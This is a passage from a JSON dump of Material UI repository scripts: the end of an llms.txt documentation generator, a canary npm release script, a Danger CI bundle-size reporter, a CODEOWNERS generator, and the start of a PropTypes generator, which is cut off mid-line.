outputDirPath = path.dirname(outputPath);\n      if (!fs.existsSync(outputDirPath)) {\n        fs.mkdirSync(outputDirPath, { recursive: true });\n      }\n\n      fs.writeFileSync(outputPath, processedMarkdown, 'utf-8');\n      // ✓ Generated: ${outputFileName}\n      processedCount += 1;\n\n      // Track this file for llms.txt\n      if (component.markdownPath) {\n        const { title, description } = extractMarkdownInfo(component.markdownPath);\n        generatedFiles.push({\n          outputPath: outputFileName,\n          title,\n          description,\n          originalMarkdownPath: component.markdownPath,\n          category: 'components',\n        });\n        generatedComponentRecord[outputFileName] = true;\n      }\n    }\n  }\n\n  // Process non-component markdown files\n  for (const file of nonComponentFiles) {\n    if (generatedComponentRecord[file.outputPath]) {\n      // Skip files that have already been generated as component docs\n      continue;\n    }\n    // Processing non-component file: ${path.relative(process.cwd(), file.markdownPath)}\n\n    // Process the markdown file with demo replacement\n    const processedMarkdown = processMarkdownFile(file.markdownPath);\n\n    const outputPath = path.join(outputDir, file.outputPath);\n\n    // Ensure the directory exists\n    const outputDirPath = path.dirname(outputPath);\n    if (!fs.existsSync(outputDirPath)) {\n      fs.mkdirSync(outputDirPath, { recursive: true });\n    }\n\n    fs.writeFileSync(outputPath, processedMarkdown, 'utf-8');\n    // ✓ Generated: ${file.outputPath}\n    processedCount += 1;\n\n    // Track this file for llms.txt\n    const { title, description } = extractMarkdownInfo(file.markdownPath);\n\n    // Extract category from the file path\n    // e.g., \"material-ui/customization/color.md\" -> \"customization\"\n    // e.g., \"getting-started/installation.md\" -> \"getting-started\"\n    const pathParts = file.outputPath.split('/');\n    const category = pathParts.reverse()[1];\n\n    // Find the order index based on which folder this file belongs to\n    let orderIndex = -1;\n    if (nonComponentFolders) {\n      for (let i = 0; i < nonComponentFolders.length; i += 1) {\n        if (file.markdownPath.includes(`/${nonComponentFolders[i]}/`)) {\n          orderIndex = i;\n          break;\n        }\n      }\n    }\n\n    generatedFiles.push({\n      outputPath: file.outputPath,\n      title,\n      description,\n      originalMarkdownPath: file.markdownPath,\n      category,\n      orderIndex,\n    });\n  }\n\n  // Generate llms.txt files\n  if (generatedFiles.length > 0) {\n    const groupedByFirstDir: Record<string, GeneratedFile[]> = {};\n\n    for (const file of generatedFiles) {\n      const firstDir = file.outputPath.split('/')[0];\n      if (!groupedByFirstDir[firstDir]) {\n        groupedByFirstDir[firstDir] = [];\n      }\n      groupedByFirstDir[firstDir].push(file);\n    }\n\n    for (const [dirName, files] of Object.entries(groupedByFirstDir)) {\n      let projectName;\n      if (dirName === 'material-ui') {\n        projectName = 'Material UI';\n      } else if (dirName === 'system') {\n        projectName = 'MUI System';\n      } else {\n        projectName = dirName.charAt(0).toUpperCase() + dirName.slice(1);\n      }\n\n      const llmsContent = generateLlmsTxt(files, projectName, dirName, ORIGIN)\n        .replace(/Ui/g, 'UI')\n        .replace(/Api/g, 'API');\n      const llmsPath = path.join(outputDir, dirName, 'llms.txt');\n\n      // Ensure directory exists\n      const llmsDirPath = path.dirname(llmsPath);\n      if (!fs.existsSync(llmsDirPath)) {\n        fs.mkdirSync(llmsDirPath, { recursive: true });\n      }\n\n      fs.writeFileSync(llmsPath, llmsContent, 'utf-8');\n      // ✓ Generated: ${dirName}/llms.txt\n      processedCount += 1;\n    }\n  }\n\n  // eslint-disable-next-line no-console\n  console.log(`\\nCompleted! Generated ${processedCount} files in ${outputDir}`);\n}\n\n/**\n * CLI setup\n */\nyargs()\n  .command({\n    command: '$0',\n    describe: 'Generates LLM-optimized documentation for MUI components.',\n    builder: (command: any) => {\n      return command\n        .option('grep', {\n          description:\n            'Only generate files for components matching the pattern. The string is treated as a RegExp.',\n          type: 'string',\n        })\n        .option('outputDir', {\n          description: 'Output directory for generated markdown files.',\n          type: 'string',\n          default: './docs/public',\n        })\n        .option('projectSettings', {\n          description:\n            'Path to the project settings module that exports ProjectSettings interface.',\n          type: 'string',\n          demandOption: true,\n        });\n    },\n    handler: buildLlmsDocs,\n  })\n  .help()\n  .strict(true)\n  .version(false)\n  .parse(hideBin(process.argv));\n"
  },
  {
    "path": "scripts/buildLlmsDocs/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"compilerOptions\": {\n    \"outDir\": \"./build\",\n    \"allowJs\": false,\n    \"noEmit\": false\n  },\n  \"include\": [\"./index.ts\"],\n  \"exclude\": []\n}\n"
  },
  {
    "path": "scripts/canaryRelease.mts",
    "content": "/* eslint-disable prefer-template */\n/* eslint-disable no-console */\nimport { resolve, dirname } from 'node:path';\nimport { fileURLToPath } from 'node:url';\nimport { readFile, writeFile, appendFile } from 'node:fs/promises';\nimport * as readline from 'node:readline/promises';\nimport yargs from 'yargs';\nimport { hideBin } from 'yargs/helpers';\nimport { $ } from 'execa';\nimport chalk from 'chalk';\n\nconst $$ = $({ stdio: 'inherit' });\n\nconst currentDirectory = dirname(fileURLToPath(import.meta.url));\nconst workspaceRoot = resolve(currentDirectory, '..');\n\ninterface PackageInfo {\n  name: string;\n  path: string;\n  version: string;\n  private: boolean;\n}\n\ninterface RunOptions {\n  accessToken?: string;\n  baseline?: string;\n  dryRun: boolean;\n  skipLastCommitComparison: boolean;\n  yes: boolean;\n  ignore: string[];\n}\n\nasync function run({\n  dryRun,\n  accessToken,\n  baseline,\n  skipLastCommitComparison,\n  yes,\n  ignore,\n}: RunOptions) {\n  await ensureCleanWorkingDirectory();\n\n  const changedPackages = await getChangedPackages(baseline, skipLastCommitComparison, ignore);\n  if (changedPackages.length === 0) {\n    return;\n  }\n\n  await confirmPublishing(changedPackages, yes);\n\n  try {\n    await setAccessToken(accessToken);\n    await setVersion(changedPackages);\n    await buildPackages();\n    await publishPackages(changedPackages, dryRun);\n  } finally {\n    await cleanUp();\n  }\n}\n\nasync function ensureCleanWorkingDirectory() {\n  try {\n    await $`git diff --quiet`;\n    await $`git diff --quiet --cached`;\n  } catch (error) {\n    console.error('❌ Working directory is not clean.');\n    process.exit(1);\n  }\n}\n\nasync function listPublicChangedPackages(baseline: string) {\n  const { stdout: packagesJson } =\n    await $`pnpm list --recursive --filter ...[${baseline}] --depth -1 --only-projects --json`;\n  const packages = JSON.parse(packagesJson) as PackageInfo[];\n  return packages.filter((pkg) => !pkg.private);\n}\n\nasync function getChangedPackages(\n  baseline: string | undefined,\n  skipLastCommitComparison: boolean,\n  ignore: string[],\n): Promise<PackageInfo[]> {\n  if (!skipLastCommitComparison) {\n    const publicPackagesUpdatedInLastCommit = await listPublicChangedPackages('HEAD~1');\n    if (publicPackagesUpdatedInLastCommit.length === 0) {\n      console.log('No public packages changed in the last commit.');\n      return [];\n    }\n  }\n\n  if (!baseline) {\n    const { stdout: latestTag } = await $`git describe --abbrev=0`;\n    baseline = latestTag;\n  }\n\n  console.log(`Looking for changed public packages since ${chalk.yellow(baseline)}...`);\n\n  const changedPackages = (await listPublicChangedPackages(baseline)).filter(\n    (p) => !ignore.includes(p.name),\n  );\n\n  if (changedPackages.length === 0) {\n    console.log('Nothing found.');\n  }\n\n  return changedPackages;\n}\n\nasync function confirmPublishing(changedPackages: PackageInfo[], yes: boolean) {\n  if (!yes) {\n    const rl = readline.createInterface({\n      input: process.stdin,\n      output: process.stdout,\n    });\n\n    console.log('\\nFound changes in the following packages:');\n    for (const pkg of changedPackages) {\n      console.log(` - ${pkg.name}`);\n    }\n\n    console.log('\\nThis will publish the above packages to the npm registry.');\n    const answer = await rl.question('Do you want to proceed? (y/n) ');\n\n    rl.close();\n\n    if (answer.toLowerCase() !== 'y') {\n      console.log('Aborted.');\n      process.exit(0);\n    }\n  }\n}\n\nasync function setAccessToken(npmAccessToken: string | undefined) {\n  if (!npmAccessToken && !process.env.NPM_TOKEN) {\n    console.error(\n      '❌ NPM access token is required. Either pass it as an --access-token argument or set it as an NPM_TOKEN environment variable.',\n    );\n    process.exit(1);\n  }\n\n  const npmrcPath = resolve(workspaceRoot, '.npmrc');\n\n  await appendFile(\n    npmrcPath,\n    `//registry.npmjs.org/:_authToken=${npmAccessToken ?? process.env.NPM_TOKEN}\\n`,\n  );\n}\n\nasync function setVersion(packages: PackageInfo[]) {\n  const { stdout: currentRevisionSha } = await $`git rev-parse --short HEAD`;\n  const { stdout: commitTimestamp } = await $`git show --no-patch --format=%ct HEAD`;\n  const timestamp = formatDate(new Date(+commitTimestamp * 1000));\n  let hasError = false;\n\n  const tasks = packages.map(async (pkg) => {\n    const packageJsonPath = resolve(pkg.path, './package.json');\n    try {\n      const packageJson = JSON.parse(await readFile(packageJsonPath, { encoding: 'utf8' }));\n      packageJson.version = `${packageJson.version}-dev.${timestamp}-${currentRevisionSha}`;\n      await writeFile(packageJsonPath, JSON.stringify(packageJson, null, 2) + '\\n');\n    } catch (error) {\n      console.error(`${chalk.red(`❌ ${packageJsonPath}`)}`, error);\n      hasError = true;\n    }\n  });\n\n  await Promise.allSettled(tasks);\n  if (hasError) {\n    throw new Error('Failed to update package versions');\n  }\n}\n\nfunction formatDate(date: Date) {\n  // yyyyMMdd-HHmmss\n  return date\n    .toISOString()\n    .replace(/[-:Z.]/g, '')\n    .replace('T', '-')\n    .slice(0, 15);\n}\n\nfunction buildPackages() {\n  if (process.env.CI) {\n    return $$`pnpm build:public:ci`;\n  }\n\n  return $$`pnpm build:public`;\n}\n\nasync function publishPackages(packages: PackageInfo[], dryRun: boolean) {\n  console.log(`\\nPublishing packages${dryRun ? ' (dry run)' : ''}`);\n  const tasks = packages.map(async (pkg) => {\n    try {\n      const args = [pkg.path, '--tag', 'canary', '--no-git-checks'];\n      if (dryRun) {\n        args.push('--dry-run');\n      }\n      await $$`pnpm publish ${args}`;\n    } catch (error: any) {\n      console.error(chalk.red(`❌ ${pkg.name}`), error.shortMessage);\n    }\n  });\n\n  await Promise.allSettled(tasks);\n}\n\nasync function cleanUp() {\n  await $`git restore .`;\n}\n\nyargs(hideBin(process.argv))\n  .command<RunOptions>(\n    '$0',\n    'Publishes packages that have changed since the last release (or a specified commit).',\n    (command) => {\n      return command\n        .option('dryRun', {\n          default: false,\n          describe: 'If true, no packages will be published to the registry.',\n          type: 'boolean',\n        })\n        .option('accessToken', {\n          describe: 'NPM access token',\n          type: 'string',\n        })\n        .option('baseline', {\n          describe: 'Baseline tag or commit to compare against (for example `master`).',\n          type: 'string',\n        })\n        .option('skipLastCommitComparison', {\n          default: false,\n          describe:\n            'By default, the script exits when there are no changes in public packages in the latest commit. Setting this flag will skip this check and compare only against the baseline.',\n          type: 'boolean',\n        })\n        .option('yes', {\n          default: false,\n          describe: \"If set, the script doesn't ask for confirmation before publishing packages\",\n          type: 'boolean',\n        })\n        .option('ignore', {\n          describe: 'List of packages to ignore',\n          type: 'string',\n          array: true,\n          default: [],\n        });\n    },\n    run,\n  )\n  .help()\n  .strict(true)\n  .version(false)\n  .parse();\n"
  },
  {
    "path": "scripts/coreTypeScriptProjects.js",
    "content": "import path from 'path';\n\nexport default {\n  material: {\n    rootPath: path.join(process.cwd(), 'packages/mui-material'),\n    entryPointPath: 'src/index.d.ts',\n  },\n  lab: {\n    rootPath: path.join(process.cwd(), 'packages/mui-lab'),\n    entryPointPath: 'src/index.d.ts',\n  },\n  system: {\n    rootPath: path.join(process.cwd(), 'packages/mui-system'),\n    entryPointPath: 'src/index.d.ts',\n  },\n  docs: {\n    rootPath: path.join(process.cwd(), 'docs'),\n    tsConfigPath: 'tsconfig.json',\n  },\n};\n"
  },
  {
    "path": "scripts/dangerFileContent.ts",
    "content": "import type * as dangerModule from 'danger';\nimport replaceUrl from '@mui-internal/api-docs-builder/utils/replaceUrl';\n\ndeclare const danger: (typeof dangerModule)['danger'];\ndeclare const markdown: (typeof dangerModule)['markdown'];\n\nconst circleCIBuildNumber = process.env.CIRCLE_BUILD_NUM;\nconst circleCIBuildUrl = `https://app.circleci.com/pipelines/github/mui/material-ui/jobs/${circleCIBuildNumber}`;\nconst dangerCommand = process.env.DANGER_COMMAND;\n\nfunction prepareBundleSizeReport() {\n  markdown(\n    `## Bundle size report\n\nBundle size will be reported once [CircleCI build #${circleCIBuildNumber}](${circleCIBuildUrl}) finishes.`,\n  );\n}\n\n// These functions are no longer needed as they've been moved to the prSizeDiff.js module\n\nasync function reportBundleSize() {\n  let markdownContent = `## Bundle size report\\n\\n`;\n\n  if (!process.env.CIRCLE_BUILD_NUM) {\n    throw new Error('CIRCLE_BUILD_NUM is not defined');\n  }\n\n  const circleciBuildNumber = process.env.CIRCLE_BUILD_NUM;\n\n  const { renderMarkdownReport } = await import('@mui/internal-bundle-size-checker');\n  markdownContent += await renderMarkdownReport(danger.github.pr, {\n    track: ['@mui/material', '@mui/lab', '@mui/system', '@mui/utils'],\n    circleciBuildNumber,\n  });\n\n  // Use the markdown function to publish the report\n  markdown(markdownContent);\n}\n\nfunction addDeployPreviewUrls() {\n  /**\n   * The incoming path from danger does not start with `/`\n   * e.g. ['docs/data/joy/components/button/button.md']\n   */\n  function formatFileToLink(path: string) {\n    let url = path.replace('docs/data', '').replace(/\\.md$/, '');\n\n    const fragments = url.split('/').reverse();\n    if (fragments[0] === fragments[1]) {\n      // check if the end of pathname is the same as the one before\n      // for example `/data/material/getting-started/overview/overview.md\n      url = fragments.slice(1).reverse().join('/');\n    }\n\n    if (url.startsWith('/material')) {\n      // needs to convert to correct material legacy folder structure to the existing url.\n      url = replaceUrl(url.replace('/material', ''), '/material-ui').replace(/^\\//, '');\n    }\n\n    return url;\n  }\n\n  const netlifyPreview = `https://deploy-preview-${danger.github.pr.number}--material-ui.netlify.app/`;\n\n  const files = [...danger.git.created_files, ...danger.git.modified_files];\n\n  // limit to the first 5 docs\n  const docs = files\n    .filter((file) => file.startsWith('docs/data') && file.endsWith('.md'))\n    .slice(0, 5);\n\n  markdown(`\n## Netlify deploy preview\n\n${\n  docs.length\n    ? docs\n        .map((path) => {\n          const formattedUrl = formatFileToLink(path);\n          return `- [${path}](${netlifyPreview}${formattedUrl})`;\n        })\n        .join('\\n')\n    : netlifyPreview\n}\n`);\n}\n\nasync function run() {\n  addDeployPreviewUrls();\n\n  switch (dangerCommand) {\n    case 'prepareBundleSizeReport':\n      prepareBundleSizeReport();\n      break;\n    case 'reportBundleSize':\n      await reportBundleSize();\n      break;\n    default:\n      throw new TypeError(`Unrecognized danger command '${dangerCommand}'`);\n  }\n}\n\nrun().catch((error) => {\n  console.error(error);\n  process.exit(1);\n});\n"
  },
  {
    "path": "scripts/generateCodeowners.mjs",
    "content": "/* eslint-disable no-console */\nimport * as fs from 'fs';\nimport * as path from 'path';\nimport * as url from 'url';\n\nconst componentAreas = {\n  accordion: 'surfaces',\n  accordionactions: 'surfaces',\n  accordiondetails: 'surfaces',\n  accordionsummary: 'surfaces',\n  alert: 'feedback',\n  alerttitle: 'feedback',\n  appbar: 'surfaces',\n  aspectratio: 'dataDisplay',\n  autocomplete: 'inputs',\n  avatar: 'dataDisplay',\n  avatargroup: 'dataDisplay',\n  backdrop: 'feedback',\n  badge: 'dataDisplay',\n  bottomnavigation: 'navigation',\n  bottomnavigationaction: 'navigation',\n  box: 'layout',\n  breadcrumbs: 'navigation',\n  button: 'inputs',\n  buttonbase: 'inputs',\n  buttongroup: 'inputs',\n  card: 'surfaces',\n  cardactionarea: 'surfaces',\n  cardactions: 'surfaces',\n  cardcontent: 'surfaces',\n  cardcover: 'surfaces',\n  cardheader: 'surfaces',\n  cardmedia: 'surfaces',\n  cardoverflow: 'surfaces',\n  checkbox: 'inputs',\n  chip: 'dataDisplay',\n  chipdelete: 'dataDisplay',\n  circularprogress: 'feedback',\n  clickawaylistener: 'utils',\n  collapse: 'utils',\n  container: 'layout',\n  cssbaseline: 'utils',\n  dialog: 'feedback',\n  dialogactions: 'feedback',\n  dialogcontent: 'feedback',\n  dialogcontenttext: 'feedback',\n  dialogtitle: 'feedback',\n  divider: 'dataDisplay',\n  drawer: 'navigation',\n  fab: 'inputs',\n  fade: 'utils',\n  filledinput: 'inputs',\n  formcontrol: 'inputs',\n  formcontrollabel: 'inputs',\n  formgroup: 'inputs',\n  formhelpertext: 'inputs',\n  formlabel: 'inputs',\n  globalstyles: 'utils',\n  gridlegacy: 'layout',\n  grid: 'layout',\n  grow: 'utils',\n  hidden: 'layout',\n  icon: 'dataDisplay',\n  iconbutton: 'inputs',\n  imagelist: 'layout',\n  imagelistitem: 'layout',\n  imagelistitembar: 'layout',\n  input: 'inputs',\n  inputadornment: 'inputs',\n  inputbase: 'inputs',\n  inputlabel: 'inputs',\n  linearprogress: 'feedback',\n  link: 'navigation',\n  list: 'dataDisplay',\n  listbox: 'utils',\n  listdivider: 'dataDisplay',\n  listitem: 'dataDisplay',\n  listitemavatar: 'dataDisplay',\n  listitembutton: 'dataDisplay',\n  listitemcontent: 'dataDisplay',\n  listitemdecorator: 'dataDisplay',\n  listitemicon: 'dataDisplay',\n  listitemsecondaryaction: 'dataDisplay',\n  listitemtext: 'dataDisplay',\n  listsubheader: 'dataDisplay',\n  masonry: 'layout',\n  mediaquery: 'utils',\n  menu: 'navigation',\n  menuitem: 'navigation',\n  menulist: 'navigation',\n  mobilestepper: 'navigation',\n  modal: 'utils',\n  multiselect: 'inputs',\n  nativeselect: 'inputs',\n  nossr: 'utils',\n  option: 'inputs',\n  optiongroup: 'inputs',\n  outlinedinput: 'inputs',\n  pagination: 'navigation',\n  paginationitem: 'navigation',\n  paper: 'surfaces',\n  popover: 'utils',\n  popper: 'utils',\n  portal: 'utils',\n  progress: 'feedback',\n  radio: 'inputs',\n  radiogroup: 'inputs',\n  rating: 'inputs',\n  scopedcssbaseline: 'utils',\n  scrolltrigger: 'surfaces',\n  select: 'inputs',\n  sheet: 'surfaces',\n  skeleton: 'feedback',\n  slide: 'utils',\n  slider: 'inputs',\n  snackbar: 'feedback',\n  snackbarcontent: 'feedback',\n  speeddial: 'navigation',\n  speeddialaction: 'navigation',\n  speeddialicon: 'navigation',\n  stack: 'layout',\n  step: 'navigation',\n  stepbutton: 'navigation',\n  stepconnector: 'navigation',\n  stepcontent: 'navigation',\n  stepicon: 'navigation',\n  steplabel: 'navigation',\n  stepper: 'navigation',\n  svgicon: 'dataDisplay',\n  swipeabledrawer: 'navigation',\n  switch: 'inputs',\n  tab: 'navigation',\n  table: 'dataDisplay',\n  tablebody: 'dataDisplay',\n  tablecell: 'dataDisplay',\n  tablecontainer: 'dataDisplay',\n  tablefooter: 'dataDisplay',\n  tablehead: 'dataDisplay',\n  tablepagination: 'dataDisplay',\n  tablerow: 'dataDisplay',\n  tablesortlabel: 'dataDisplay',\n  tablist: 'navigation',\n  tabpanel: 'navigation',\n  tabs: 'navigation',\n  tabscrollbutton: 'navigation',\n  tabslist: 'navigation',\n  textarea: 'inputs',\n  textareaautosize: 'utils',\n  textfield: 'inputs',\n  timeline: 'dataDisplay',\n  togglebutton: 'inputs',\n  togglebuttongroup: 'inputs',\n  toolbar: 'surfaces',\n  tooltip: 'dataDisplay',\n  touchripple: 'inputs',\n  transferlist: 'inputs',\n  transitions: 'utils',\n  focustrap: 'utils',\n  treeview: 'dataDisplay',\n  typography: 'dataDisplay',\n  zoom: 'utils',\n};\n\nconst areaMaintainers = {\n  inputs: ['michaldudak', 'mnajdova'],\n  dataDisplay: ['siriwatknp', 'michaldudak'],\n  feedback: ['siriwatknp', 'hbjORbj'],\n  surfaces: ['siriwatknp', 'hbjORbj'],\n  navigation: ['mnajdova', 'michaldudak'],\n  layout: ['siriwatknp', 'hbjORbj'],\n  utils: ['mnajdova', 'michaldudak'],\n};\n\nconst packageOwners = {\n  base: ['michaldudak'],\n  joy: ['siriwatknp'],\n  material: ['mnajdova'],\n};\n\nconst packageMaintainers = {\n  base: ['michaldudak', 'mnajdova'],\n  'icons-material': ['michaldudak', 'siriwatknp'],\n  joy: ['siriwatknp', 'danilo-leal'],\n  material: ['mnajdova', 'danilo-leal'],\n  system: ['mnajdova', 'siriwatknp'],\n};\n\nconst additionalRules = {\n  '/scripts/': ['michaldudak', 'm4theushw'],\n};\n\nconst thisDirectory = url.fileURLToPath(new URL('.', import.meta.url));\n\nconst buffer = [];\n\nfunction write(text) {\n  buffer.push(text);\n}\n\nfunction save() {\n  const fileContents = [...buffer, ''].join('\\n');\n  fs.writeFileSync(path.join(thisDirectory, '../.github/CODEOWNERS'), fileContents);\n}\n\nfunction findComponentArea(componentName) {\n  // TODO: could make it smarter to reduce the number of entries in componentAreas\n  // for example, \"AccordionActions\" could look up \"Accordion\"\n  return componentAreas[componentName];\n}\n\nfunction normalizeComponentName(componentName) {\n  // remove the \"use\" and \"Unstable_\" prefixes and \"Unstyled\" suffix\n  return componentName.replace(/^(use|Unstable_)?(.*?)(Unstyled)?$/gm, '$2').toLowerCase();\n}\n\nfunction normalizeDocsComponentName(componentName) {\n  switch (componentName) {\n    case 'breadcrumbs':\n    case 'progress':\n    case 'transitions':\n      return componentName;\n\n    case 'badges':\n      return 'badge';\n\n    case 'floating-action-button':\n      return 'fab';\n\n    case 'focus-trap':\n      return 'focustrap';\n\n    case 'radio-buttons':\n      return 'radio';\n\n    case 'tables':\n      return 'table';\n\n    default:\n      // remove the \"use\" and \"Unstable\" prefixes and remove the trailing \"s\" or \"es\" to make a singular form\n      return componentName\n        .replace(/^(use|Unstable)?(.*?)(es|s)?$/gm, '$2')\n        .replace(/-/g, '')\n        .toLowerCase();\n  }\n}\n\nfunction getCodeowners(mapping) {\n  return Object.entries(mapping)\n    .map(([directory, maintainers]) => `${directory} @${maintainers.join(' @')}`)\n    .join('\\n');\n}\n\nfunction getAreaMaintainers(area, packageName) {\n  return Array.from(\n    new Set([\n      ...areaMaintainers[area],\n      // Material UI package owner is not added to individual components' owners\n      // to reduce the number of PRs they'll get to review.\n      ...(packageName === 'material' ? [] : packageOwners[packageName]),\n    ]),\n  )\n    .map((name) => `@${name}`)\n    .join(' ');\n}\n\nfunction processComponents(packageName) {\n  const componentsDirectory = path.join(thisDirectory, `../packages/mui-${packageName}/src`);\n  const componentDirectories = fs.readdirSync(componentsDirectory);\n  const result = [];\n\n  for (const componentDirectory of componentDirectories) {\n    if (!fs.statSync(path.join(componentsDirectory, componentDirectory)).isDirectory()) {\n      continue;\n    }\n\n    const componentName = normalizeComponentName(componentDirectory);\n    const componentArea = findComponentArea(componentName);\n\n    if (componentArea) {\n      const maintainers = getAreaMaintainers(componentArea, packageName);\n      const codeowners = `/packages/mui-${packageName}/src/${componentDirectory}/ ${maintainers}`;\n\n      result.push(codeowners);\n    } else {\n      console.info(`No explicit owner defined for \"${componentDirectory}\" in ${packageName}.`);\n    }\n  }\n\n  return result.join('\\n');\n}\n\nfunction processDocs(packageName) {\n  const docsDirectory = path.join(thisDirectory, `../docs/data/${packageName}/components`);\n  const componentDirectories = fs.readdirSync(docsDirectory);\n  const result = [];\n\n  for (const componentDirectory of componentDirectories) {\n    if (!fs.statSync(path.join(docsDirectory, componentDirectory)).isDirectory()) {\n      continue;\n    }\n\n    const componentName = normalizeDocsComponentName(componentDirectory);\n    const componentArea = findComponentArea(componentName);\n\n    if (componentArea) {\n      const maintainers = getAreaMaintainers(componentArea, packageName);\n      const codeowners = `/docs/data/${packageName}/components/${componentDirectory}/ ${maintainers}`;\n      result.push(codeowners);\n    } else {\n      console.info(\n        `No explicit owner defined for docs of \"${componentDirectory}\" in ${packageName}.`,\n      );\n    }\n  }\n\n  return result.join('\\n');\n}\n\nfunction processPackages() {\n  return Object.entries(packageMaintainers)\n    .map(([packageName, maintainers]) => `/packages/mui-${packageName}/ @${maintainers.join(' @')}`)\n    .join('\\n');\n}\n\nfunction run() {\n  write('# This file is auto-generated, do not modify it manually.');\n  write('# run `pnpm generate-codeowners` to update it.\\n\\n');\n\n  write(getCodeowners(additionalRules));\n\n  write('\\n# Packages\\n');\n  write(processPackages());\n\n  write('\\n# Components - Material UI\\n');\n  write(processComponents('material'));\n  write(processDocs('material'));\n\n  write('\\n# Components - Base UI\\n');\n  write(processComponents('base'));\n  write(processDocs('base'));\n\n  write('\\n# Components - Joy UI\\n');\n  write(processComponents('joy'));\n  write(processDocs('joy'));\n\n  save();\n}\n\nrun();\n"
  },
  {
    "path": "scripts/generateProptypes.ts",
    "content": "/* eslint-disable no-console */\nimport * as path from 'path';\nimport * as fs from 'node:fs/promises';\nimport * as prettier from 'prettier';\nimport glob from 'fast-glob';\nimport { flatten } from 'es-toolkit/array';\nimport yargs from 'yargs';\nimport { hideBin } from 'yargs/helpers';\nimport type { LiteralType } from '@mui/internal-scripts/typescript-to-proptypes';\nimport {\n  fixBabelGeneratorIssues,\n  fixLineEndings,\n  getUnstyledFilename,\n} from '@mui/internal-docs-utils';\nimport {\n  getPropTypesFromFile,\n  injectPropTypesInFile,\n  InjectPropTypesInFileOptions,\n} from '@mui/internal-scripts/typescript-to-proptypes';\nimport {\n  createTypeScriptProjectBuilder,\n  TypeScriptProject,\n} from '@mui-internal/api-docs-builder/utils/createTypeScriptProject';\n\nimport CORE_TYPESCRIPT_PROJECTS from './coreTypeScriptProjects';\n\nconst useExternalPropsFromInputBase = [\n  'autoComplete',\n  'autoFocus',\n  'color',\n  'defaultValue',\n  'disabled',\n  'endAdornment',\n  'error',\n  'id',\n  'inputProps',\n  'inputRef',\n  'margin',\n  'maxRows',\n  'minRows',\n  'name',\n  'onChange',\n  'placeholder',\n  'readOnly',\n  'required',\n  'rows',\n  'startAdornment',\n  'value',\n];\n\n/**\n * A map of components and their props that should be documented\n * but are not used directly in their implementation.\n *\n * TODO: In the future we want to remove them from the API docs in favor\n * of dynamically loading them. At that point this list should be removed.\n * TODO: typecheck values\n */\nconst useExternalDocumentation: Record<string, '*' | readonly string[]> = {\n  Button: ['disableRipple'],\n  Box: ['component', 'sx'],\n  // `classes` is always external since it is applied from a HOC\n  // In DialogContentText we pass it through\n  // Therefore it's considered \"unused\" in the actual component but we still want to document it.\n  DialogContentText: ['classes'],\n  FilledInput: useExternalPropsFromInputBase,\n  IconButton: ['disableRipple'],\n  Input: useExternalPropsFromInputBase,\n  MenuItem: ['dense'],\n  OutlinedInput: useExternalPropsFromInputBase,\n  Radio: ['disableRipple', 'id', 'inputProps', 'inputRef', 'required'],\n  Checkbox: ['defaultChecked'],\n  Container: ['component'],\n  Stack: ['component'],\n  Switch: [\n    'checked',\n    'defaultChecked',\n    'disabled',\n    'disableRipple',\n    'edge',\n    'id',\n    'inputProps',\n    'inputRef',\n    'onChange',\n    'required',\n    'value',\n  ],\n  SwipeableDrawer: [\n    'anchor',\n    'hideBackdrop',\n    'ModalProps',\n    'PaperProps',\n    'transitionDuration',\n    'variant',\n  ],\n  Tab: ['disableRipple'],\n  TextField: ['margin'],\n  ToggleButton: ['disableRipple'],\n};\nconst transitionCallbacks = [\n  'onEnter',\n  'onEntered',\n  'onEntering',\n  'onExit',\n  'onExiting',\n  'onExited',\n];\n/**\n * These are components that use props implemented by external components.\n * Those props have their own JSDoc which we don't want to emit in our docs\n * but do want them to have JSDoc in IntelliSense\n * TODO: In the future we want to ignore external docs on the initial load anyway\n * since they will be fetched dynamically.\n */\nconst ignoreExternalDocumentation: Record<string, readonly string[]> = {\n  Button: ['focusVisibleClassName', 'type'],\n  Collapse: transitionCallbacks,\n  CardActionArea: ['focusVisibleClassName'],\n  AccordionSummary: ['onFocusVisible'],\n  Dialog: ['BackdropProps'],\n  Drawer: ['BackdropProps'],\n  Fab: ['focusVisibleClassName'],\n  Fade: transitionCallbacks,\n  Grow: transitionCallbacks,\n  ListItem: ['focusVisibleClassName'],\n  InputBase: ['aria-describedby'],\n  Menu: ['PaperProps'],\n  MenuItem: ['disabled'],\n  Slide: transitionCallbacks,\n  SwipeableDrawer: ['anchor', 'hideBackdrop', 'ModalProps', 'PaperProps', 'variant'],\n  TextField: ['hiddenLabel'],\n  Zoom: transitionCallbacks,\n};\n\nfunction sortSizeByScaleAscending(a: LiteralType, b: LiteralType) {\n  const sizeOrder: readonly unknown[] = ['\"small\"', '\"medium\"', '\"large\"'];\n  return sizeOrder.indexOf(a.value) - sizeOrder.indexOf(b.value);\n}\n\n// Custom order of literal unions by component\nconst getSortLiteralUnions: InjectPropTypesInFileOptions['getSortLiteralUnions'] = (\n  component,\n  propType,\n) => {\n  if (propType.name === 'size') {\n    return sortSizeByScaleAscending;\n  }\n\n  return undefined;\n};\n\nasync function generateProptypes(\n  project: TypeScriptProject,\n  sourceFile: string,\n  tsFile: string,\n): Promise<void> {\n  const components = getPropTypesFromFile({\n    filePath: tsFile,\n    project,\n    shouldResolveObject: ({ name }) => {\n      if (\n        name.toLowerCase().endsWith('classes') ||\n        name === 'theme' ||\n        name === 'ownerState' ||\n        (name.endsWith('Props') && name !== 'componentsProps' && name !== 'slotProps')\n      ) {\n        return false;\n      }\n      return undefined;\n    },\n    checkDeclarations: true,\n  });\n\n  if (components.length === 0) {\n    return;\n  }\n\n  // exclude internal slot components, for example ButtonRoot\n  const cleanComponents = components.filter((component) => {\n    if (component.propsFilename?.endsWith('.tsx')) {\n      // only check for .tsx\n      const match = component.propsFilename.match(/.*\\/([A-Z][a-zA-Z]+)\\.tsx/);\n      if (match) {\n        return component.name === match[1];\n      }\n    }\n    return true;\n  });\n\n  cleanComponents.forEach((component) => {\n    component.types.forEach((prop) => {\n      if (\n        !prop.jsDoc ||\n        (project.name !== 'base' &&\n          ignoreExternalDocumentation[component.name] &&\n          ignoreExternalDocumentation[component.name].includes(prop.name))\n      ) {\n        prop.jsDoc = '@ignore';\n      }\n    });\n  });\n\n  const sourceContent = await fs.readFile(sourceFile, 'utf8');\n  const isTsFile = /(\\.(ts|tsx))/.test(sourceFile);\n  // If the component inherits the props from some unstyled components\n  // we don't want to add those propTypes again in the Material UI/Joy UI propTypes\n  const unstyledFile = getUnstyledFilename(tsFile, true);\n  const unstyledPropsFile = unstyledFile.replace('.d.ts', 